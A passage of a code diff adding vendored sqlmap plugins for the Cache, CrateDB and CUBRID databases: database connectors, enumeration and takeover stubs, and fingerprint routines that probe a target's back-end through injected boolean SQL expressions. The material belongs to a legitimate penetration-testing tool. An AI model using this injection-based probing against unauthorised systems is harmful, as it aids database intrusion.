|
||||||
|
jar = readInput(msg)
|
||||||
|
checkFile(jar)
|
||||||
|
args = "-Djava.class.path=%s" % jar
|
||||||
|
jvm_path = jpype.getDefaultJVMPath()
|
||||||
|
jpype.startJVM(jvm_path, args)
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
try:
|
||||||
|
driver = 'com.intersys.jdbc.CacheDriver'
|
||||||
|
connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db)
|
||||||
|
self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except Exception as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
retVal = True
|
||||||
|
except Exception as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
Vendored
+48
@@ -0,0 +1,48 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.settings import CACHE_DEFAULT_SCHEMA
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getCurrentDb(self):
|
||||||
|
return CACHE_DEFAULT_SCHEMA
|
||||||
|
|
||||||
|
def getUsers(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the users"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
Vendored
+11
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
Vendored
+113
@@ -0,0 +1,113 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
|
from lib.core.common import hashDBWrite
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CACHE)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||||
|
|
||||||
|
if fork is None:
|
||||||
|
if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"):
|
||||||
|
fork = FORK.IRIS
|
||||||
|
else:
|
||||||
|
fork = ""
|
||||||
|
|
||||||
|
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
|
||||||
|
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CACHE
|
||||||
|
if fork:
|
||||||
|
value += " (%s fork)" % fork
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
if fork:
|
||||||
|
value += "\n%sfork fingerprint: %s" % (blank, fork)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES):
|
||||||
|
setDbms(DBMS.CACHE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CACHE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CACHE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CACHE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
Vendored
+23
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.convert import getOrds
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> from lib.core.common import Backend
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def escaper(value):
|
||||||
|
return "||".join("CHAR(%d)" % _ for _ in getOrds(value))
|
||||||
|
|
||||||
|
return Syntax._escape(expression, quote, escaper)
|
||||||
Vendored
+28
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Cache it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Cache it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Cache it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Cache it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CRATEDB_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cratedb.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cratedb.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cratedb.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cratedb.syntax import Syntax
|
||||||
|
from plugins.dbms.cratedb.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines CrateDB methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CRATEDB_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CRATEDB] = Syntax.escape
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import psycopg2
|
||||||
|
import psycopg2.extensions
|
||||||
|
psycopg2.extensions.register_type(psycopg2.extensions.UNICODE)
|
||||||
|
psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: http://initd.org/psycopg/
|
||||||
|
User guide: http://initd.org/psycopg/docs/
|
||||||
|
API: http://initd.org/psycopg/docs/genindex.html
|
||||||
|
Debian package: python-psycopg2
|
||||||
|
License: GPL
|
||||||
|
|
||||||
|
Possible connectors: http://wiki.python.org/moin/PostgreSQL
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port)
|
||||||
|
except psycopg2.OperationalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.set_client_encoding('UNICODE')
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except psycopg2.ProgrammingError as ex:
|
||||||
|
logger.warn(getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
retVal = True
|
||||||
|
except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex:
|
||||||
|
logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip())
|
||||||
|
except psycopg2.InternalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
retVal = None
|
||||||
|
|
||||||
|
if self.execute(query):
|
||||||
|
retVal = self.fetchall()
|
||||||
|
|
||||||
|
return retVal
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on CrateDB it is not possible to enumerate the user password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on CrateDB it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CRATEDB)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CRATEDB
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES):
|
||||||
|
setDbms(DBMS.CRATEDB)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CRATEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CRATEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("1~1")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CRATEDB)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CUBRID_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cubrid.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cubrid.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cubrid.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cubrid.syntax import Syntax
|
||||||
|
from plugins.dbms.cubrid.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Cubrid methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CUBRID_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CUBRID] = Syntax.escape
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import CUBRIDdb
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: https://github.com/CUBRID/cubrid-python
|
||||||
|
User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md
|
||||||
|
API: https://www.python.org/dev/peps/pep-0249/
|
||||||
|
License: BSD License
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
except CUBRIDdb.Error as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CUBRID)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CUBRID
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES):
|
||||||
|
setDbms(DBMS.CUBRID)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CUBRID
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
